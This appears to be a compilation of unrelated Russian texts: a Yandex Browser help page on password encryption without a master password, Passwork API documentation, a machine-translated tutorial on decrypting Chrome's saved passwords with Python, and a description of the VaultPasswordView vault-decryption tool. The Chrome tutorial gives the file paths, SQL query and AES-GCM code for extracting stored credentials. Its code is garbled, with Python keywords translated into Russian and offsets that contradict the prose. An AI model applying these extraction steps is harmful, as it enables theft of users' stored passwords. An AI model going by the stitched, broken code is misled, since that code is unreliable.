Шифрование без мастер-пароля — Браузер. Справка
Этот вариант защиты менее надежен, чем шифрование с мастер-паролем. Хранилище паролей шифруется ключом, который хранится на компьютере и защищается средствами операционной системы. Получив доступ к компьютеру или жесткому диску, хакеры могут украсть и расшифровать пароли.
- Процедура шифрования без мастер-пароля
- Уязвимости шифрования без мастер-пароля
- Синхронизация паролей
Если пользователь не создал мастер-пароль, шифрование паролей в браузере проходит следующие этапы:
Браузер генерирует случайный ключ Ключ, зашифровывающий хранилище паролей. «}}»> длиной 256 бит.
С помощью этого ключа браузер зашифровывает пароли от сайтов, используя алгоритм AES-256 в режиме GСM. Режим GCM в ходе шифрования включается для того, чтобы обеспечить целостность данных при последующей синхронизации. Через GCM хешируются и валидируются URL, логин и разметка полей.
Ключ Ключ, зашифровывающий хранилище паролей.
Операционная система | Шифрование EncKey |
---|---|
Windows | Вызывается функция CryptProtectData/CryptUnprotectData , которая шифрует Ключ, зашифровывающий хранилище паролей. | «}}»> с помощью алгоритма AES-256 (Windows 7) или 3DES (Windows XP, Vista). Ключ, с помощью которого зашифрован Ключ, зашифровывающий хранилище паролей. «}}»>, хранится в профиле пользователя в ОС.
macOS | Используется алгоритм шифрования AES-128-CBC. Ключ шифрования хранится в защищенном хранилище Keychain. |
Linux | Используется алгоритм шифрования AES-128-CBC. Ключ шифрования хранится в защищенном хранилище KeyStorage. |
- Пример 1. Шифрование ключа EncKey в Windows без мастер-пароля
Исходный ключ шифрования паролей Ключ, зашифровывающий хранилище паролей. «}}»>:
Mh6lu1xRuZFo/qJ2yktfJch3nAzlgY4+OPADyLQYfrkbR0hxae9M5nVdafthJa2QHG18sZbf2VOxveH87naRb3vq3oJykfxlVHX4bllYDCcLISzHZVnxF2yMM0r4BXl8Uq+nuINiWx8kaKtrULrdwnMGU6eOuOLZvv/wLDzQvz74iuQUgoR3NSpOByFnY/BkAmGWbQ5KXTYqqIcrcqkG1xb3EAQGEG8KGPtQsTvLsHL1QdjteMZ9CBBLAWjYd/kdrZsx+MU96XMEA+ViBU0ot35cAPVBeWgAyMZhvM9sYy4zB2HrCg+n14kSc85OjNEqAChQDeHVtcbBfyshnKB0Qg==
Ключ, с помощью которого зашифровывается Ключ, зашифровывающий хранилище паролей. «}}»>, генерируется функцией
и располагается в каталоге:
C:\Пользователи\Имя вашей учетной записи\AppData\Roaming\Microsoft\Protect
Ключ EncKey* (в base64), зашифрованный ключом, который сгенерировала функция CryptProtectData
:
AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAApRUs2Bmwq0O4LpCRrIGKQAAAAAACAAAAAAADZgAAwAAAABAAAAAttmGwtWQIgR+ugd6cMwB1AAAAAASAAACgAAAAEAAAAKXn3AtX945aXjv2nFEYf6soAAAAFoZEF0y2DY4+JtCPwkZb68tXEHiZHMPRhJIrMzQA+QF6E6iJBGZD+RQAAAAnmL25O/Rbm8JaMS9cwZZAWtjEGA==
Когда пользователь хочет вставить пароль в форму авторизации, браузер расшифровывает Ключ, зашифровывающий хранилище паролей.
В Windows любая программа (в том числе вредоносная) может попросить операционную систему расшифровать Ключ, зашифровывающий хранилище паролей. «}}»> и таким образом получить доступ к паролям.
Ключ шифрования хранится на компьютере. Получив доступ к компьютеру или жесткому диску, злоумышленники могут украсть ключ. Если они получат ключ, то легко смогут расшифровать Ключ, зашифровывающий хранилище паролей. «}}»> и ваши пароли.
На разных компьютерах используются разные функции шифрования паролей, поэтому в процессе синхронизации пароли отправляются на сервера Яндекса в расшифрованном виде.
На серверах Яндекса пароли хранятся, зашифрованные ключом, который так же хранится на сервере Яндекса. Это небезопасно.
При синхронизации хранилища, не защищенного мастер-паролем, на сервер отправляется хранилище паролей от сайтов в расшифрованном виде. Поскольку ключ Ключ, зашифровывающий хранилище паролей. «}}»> шифруется с помощью разных алгоритмов на различных ОС компьютера, расшифровывать их приходится тоже средствами ОС перед синхронизацией.
На серверах Яндекса все пароли шифруются с помощью ключа, созданного на основе пароля от Яндекс ID пользователя и в таком виде хранятся на серверах. Поскольку ключ шифрования также хранится на сервере Яндекса, этот способ является менее безопасным, чем синхронизация хранилища, защищенного мастер-паролем.
Перед тем как переслать пароли на другие устройства пользователей, они расшифровываются на сервере, а на самом устройстве шифруются по алгоритму AES-256-GCM с заново сгенерированным ключом Ключ, зашифровывающий хранилище паролей. «}}»> и в таком виде хранятся на устройстве. Ключ Ключ, зашифровывающий хранилище паролей. «}}»> шифруется, используемый алгоритм шифрования и место хранения ключа зависят от ОС устройства.
Написать в службу поддержки
API
API предоставляет доступ к основным возможностям Passwork и позволяет интегрировать Passwork в свою инфраструктуру или разработать собственный клиент.
Общие положения- Данные отправляются используя HTTP POST запросы
- Методы API находятся по адресе https://passwork.me/api2/
- Данные возвращаются в формате JSON
- Рекомендуется использовать защищенное SSL соединение
- Javascript API Connector
- .Net API Connector
{ 'response' : { ... }, // ответ 'errorCode' : '...', // код ошибки 'errorMessage' : '...', // текст ошибки }
В случае ошибки response — false.
Далее будут приводится примеры поля response.
Авторизация
/api2/openSession
Создание сессии. Возвращает код сессии, который надо передавать в каждом запросе. Сессия автоматически истекает каждые несколько минут.
email
E-mail (логин) пользователя
password
Пароль авторизации пользователя
Успешная авторизация
{ 'code' : '. ..', // код сессии 'hash' : '...' // md5-хеш секретного слова (мастер пароля) }
Поле сode потребуется указывать в каждом последующем запросе к API.
Поле hash требуется для того, чтобы клиент смог определить корректность секретного слова.
Ошибки:
response = false
Возвращается в случае неверного логина или пароля.
errorCode = banВ случае бана, если бы совершено несколько неудачных попыток авторизации.
Получение данных
/api2/getData
Получает все пароли пользователя
Параметры: session
Код сессии
Данные
{ 'user' : '...', // id пользователя 'groups' : [{ // массив сейфов 'id' : '...', // id сейфа 'name' : '...', // название сейфа 'passwordCrypted' : '...', // зашифрованный пароль сейфа 'folders' :[{ // массив папок сейфа 'id' : '...', // id папки 'name' : '...', // название папки 'passwords' : [{ // массив паролей 'id' : '...', // id пароля 'categoryId' : '...', // id папки 'groupId' : '...', // id сейфа, 'name' : '...', // название пароля 'login' : '...', // логин пароля 'url', : '...', 'description' : '...', 'cryptedPassword' : '...', // зашифрованный пароль }] }] }], 'passwords' : [{ // массив паролей 'id' : '...', // id пароля 'categoryId' : '...', // id папки 'groupId' : '...', // id сейфа, 'name' : '...', // название пароля 'login' : '...', // логин пароля 'url', : '...', 'description' : '...', 'cryptedPassword' : '... ', // зашифрованный пароль }] }] }
Ошибки:
{ 'response' : false, 'errorCode' : 'expired', 'errorMessage' : 'Session expired' }
Сессия истекла. Требуется открытие новой сессии через метод openSession.
Изменение и добавление данных
Эти API функции находятся в стадии тестирования и скоро будут опубликованы.Пример получения данных
- Открыть сессию используя openSession
- Загрузить данные используя getData
- Запросить у пользователя секретное слово
- Используя секретное слово расшифровать пароль сейфа groups[X].passwordCrypted
- Используя пароль сейфа расшифровать данные groups[X].folders[Y].passwords[Z].cryptedPassword
Как расшифровать пароль Chrome с помощью Python? | от Yicong
4 минуты чтения·
5 января 2021 г.Как вы думаете, безопасно ли хранить пароль в Chrome? Короткий ответ: «нет» . Любой злоумышленник, имеющий доступ к вашему ноутбуку, может расшифровать весь ваш пароль за считанные секунды.
За удобство приходится платить
Бесспорно, сохранение пароля в Chrome удобно. Это поможет вам автоматически войти на ваш сайт, гарантируя, что ваш пароль будет зашифрован. Единственный способ для преступников получить доступ к вашему зашифрованному паролю веб-сайта — это знать имя пользователя и пароль вашего ноутбука.
Ввод имени пользователя и пароля в окно входа в Windows для расшифровки пароля веб-сайтаЛожное чувство безопасности
Честно говоря, приглашение входа в Windows — слабая функция безопасности. Вы когда-нибудь задумывались, как Chrome автоматически заполняет поля пароля без запроса? Это связано с тем, что Chrome сохранил ваши пароли в другом месте приложения.
Следует отметить, что они не сохранялись в защищенном месте.
Существует четыре основных шага для расшифровки паролей Chrome
- Найти ключ шифрования
- Найти зашифрованные пароли
- Понять криптографию AES
- Расшифровать сохраненные пароли
Шаг 1: Найти ключ шифрования JSON-файл, который может можно найти в следующем месте на вашем ПК с Windows.
C:\Users\<Имя ПК>\AppData\Local\Google\Chrome\User Data\Local State
После открытия файла найдите слово «encrypted_key», как показано на рисунке ниже:
С помощью редактора блокнота вы можете легко найти зашифрованный ключВуаля! Вы нашли ключ для расшифровки сохраненного пароля.
Шаг 2: Найдите зашифрованные пароли
Зашифрованный пароль хранится в базе данных SQLite, которую можно найти в следующем месте на вашем ПК с Windows
C:\Users\<Имя ПК>\AppData\Local\Google\ Chrome\User Data\Default\Login Data
Чтобы извлечь зашифрованный пароль, вам необходимо подключение к базе данных SQLite3. Запустите следующий код, чтобы извлечь его.
#Chrome путь к файлу имени пользователя и пароля
chrome_path_login_db = "C:\Users\ <имя ПК> \AppData\Local\Google\Chrome\User Data\Default\Login Data"
Shutil.copy2(chrome_path_login_db, "Loginvault .db") #Подключиться к базе данных sqlite
sqlite3.connect("Loginvault.db")
cursor = conn.cursor()#Выберите оператор для получения информации
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
для индекса, логин в enumerate(cursor.fetchall()):
url = логин[0]
имя пользователя = логин[1]
зашифрованный текст= логин[2]
print("Url:",url)
print("Имя пользователя",имя пользователя)
print("Зашифрованный текст", зашифрованный текст)
После выполнения кода вы сможете получить три важные части информации:
- URL-адрес
- Имя пользователя
- Зашифрованный текст
В зашифрованном тексте он содержит две важные подинформации, необходимые для дешифрования AES: 9000 3
- Вектор инициализации
- Зашифрованные пароли
Вектор инициализации хранится между символами с 4 по 20, а зашифрованный пароль хранится между символами с 21 по N-16 (т. е. общее количество символов минус 16).
Расположение вектора инициализации и зашифрованного пароляШаг 3. Понимание криптографии AES
Чтобы расшифровать пароль, нам нужно сначала понять криптографию AES, которая представляет собой алгоритм симметричного ключа, используемый Chrome для шифрования и расшифровки паролей.
AES использует ключ шифрования и выполняет сложные математические операции со строками (например, сложение, вычитание, смешивание и сдвиг) для шифрования пароля.
Для повышения безопасности может быть добавлен вектор инициализации (случайная строка данных), что усложнит взлом пароля злоумышленником, поскольку ему необходимо найти как ключ шифрования, так и вектор инициализации для выполнения криптографии AES.
Ниже приведена блок-схема, показывающая механизм шифрования AES:
Диаграмма потока шифрования AESПосле AES зашифрованный ключ хранится в локальном файле состояния , , а зашифрованный пароль объединяется с вектором инициализации и сохраняется в базе данных SQLite3 в виде зашифрованного текста.
Места хранения зашифрованных ключей и зашифрованных текстовШаг 4: Расшифруйте сохраненные пароли
Зная, что AES — это криптография с симметричным ключом, в которой используется один и тот же ключ как для шифрования, так и для дешифрования. Мы можем использовать зашифрованный ключ и вектор инициализации, которые мы обнаружили, для расшифровки паролей с помощью криптографии AES.
#Шаг 1: Извлечение вектора инициализации из зашифрованного текста
initialization_vector = ciphertext[3:15]#Шаг 2: Извлечение зашифрованного пароля из зашифрованного текста пароль
cipher = AES.new(secret_key, AES.MODE_GCM, initialization_vector)
decrypted_pass = cipher.decrypt(encrypted_password)
decrypted_pass = decrypted_pass.decode()#Шаг 4: Расшифрованный пароль
print(decrypted_pass)
Результаты
После выполнения кода вы сможете получить URL, имя пользователя и пароль из Chrome.
Результаты после выполнения кодаУчебные материалы
Для получения полного кода посетите: https://github. com/ohyicong/decrypt-chrome-passwords
Чтобы узнать, как расшифровать пароль Firefox, посетите: https://ohyicong .medium.com/how-to-hack-firefox-passwords-with-python-a394abf18016
Отказ от ответственности
Я делюсь этим знанием, чтобы повысить осведомленность об этой уязвимости и показать, как легко ею можно воспользоваться. Вы не должны использовать этот инструмент на неавторизованных устройствах. Ваше здоровье!
См. также
ОписаниеVaultPasswordView — это простой инструмент для Windows 11/10/8/7, который расшифровывает и отображает пароли и другие данные, хранящиеся в «Windows Vault». Вы можете использовать его для расшифровки данных Windows Vault вашей текущей работающей системы, а также данных Windows Vault, хранящихся на внешнем жестком диске.История версий
Системные требования
Пароли и данные, хранящиеся в хранилище Windows
Расположение хранилища WindowsФайлы хранилища Windows хранятся в следующих папках:
Уведомление для пользователей Windows 7Термин «Хранилище Windows» несколько сбивает с толку, поскольку пароли, отображаемые Windows 7 как Хранилище Windows, на самом деле хранятся в файлах учетных данных. Поэтому, если у вас Windows 7 и вы хотите восстановить пароли, перечисленные в окне «Хранилище Windows», вам следует использовать следующие инструменты: Восстановление сетевого пароля или Учетные данныеFileViewНачать использовать VaultPasswordViewVaultPasswordView не требует установки или дополнительных DLL-файлов. Для того, чтобы начать им пользоваться, просто запустите исполняемый файл — VaultPasswordView.exe После запуска VaultPasswordView отображается окно «Параметры расшифровки хранилища».
VaultPasswordView автоматически заполняет правильные папки вашей текущей работающей системы и текущего пользователя, вошедшего в систему.
Единственное поле, которое вы должны заполнить самостоятельно, это «Пароль для входа в Windows». Пароль для входа необходим для расшифровки файлов хранилища Windows. Если у вас есть несколько зарегистрированных пользователей (например: пользователь без прав администратора, которому принадлежат данные хранилища, которые вы хотите расшифровать, и Администратор, которого вы используете для повышения прав VaultPasswordView), вам следует выбрать параметр «Расшифровать файлы хранилища всех вошедших в систему пользователей». Если вы хотите расшифровать файлы хранилища Windows на внешнем диске, вы можете вручную заполнить нужные папки на внешнем диске или, в качестве альтернативы, вы можете выберите корневую папку вашего внешнего диска, а затем нажмите кнопку «Автоматическое заполнение». После нажатия кнопки «ОК» в окне «Параметры расшифровки хранилища» VaultPasswordView сканирует файлы внутри папок хранилища, расшифровывает их, а затем отображает результат в главном окне. В верхней части главного окна отображается список всех расшифрованных файлов .vcrd. При выборе элемента в верхней панели нижняя панель отображает все расшифрованные данные в формате Hex-Dump. Если расшифрованные данные содержат пароль или другой текст, этот текст также отображается в столбце «Значение элемента» на верхней панели. Запуск от имени администратораПо умолчанию VaultPasswordView не запрашивает повышение прав (запуск от имени администратора) при запуске. Однако если у вас есть файлы хранилища, зашифрованные с помощью системного ключа, вам необходимо запустить VaultPasswordView от имени администратора, чтобы расшифровать эти файлы хранилища. Вы можете запустить VaultPasswordView от имени администратора, нажав Ctrl+F11.Перевод VaultPasswordView на другие языкиЧтобы перевести VaultPasswordView на другой язык, следуйте приведенным ниже инструкциям:
ЛицензияЭта утилита распространяется бесплатно. Вам разрешено свободно распространять эту утилиту на дискетах, CD-ROM, Интернет или любым другим способом, если вы ничего за это не берете и не продавать или распространять как часть коммерческого продукта. Если вы распространяете эту утилиту, вы должны включить все файлы в дистрибутив, без каких-либо модификаций!Отказ от ответственностиПрограммное обеспечение предоставляется «КАК ЕСТЬ» без каких-либо явных или подразумеваемых гарантий, включая, но не ограничиваясь, подразумеваемые гарантии товарного состояния и пригодности для определенной цели. Автор не несет ответственности за какие-либо особые, случайные, косвенный или косвенный ущерб из-за потери данных или по любой другой причине.Обратная связьЕсли у вас есть проблема, предложение, комментарий или вы нашли ошибку в моей утилите, вы можете отправить сообщение на [email protected]
VaultPasswordView также доступен на других языках. Для того, чтобы изменить язык VaultPasswordView, загрузите zip-файл соответствующего языка, извлеките «vaultpasswordview_lng.ini», и поместите его в ту же папку, в которой установлена утилита VaultPasswordView.
|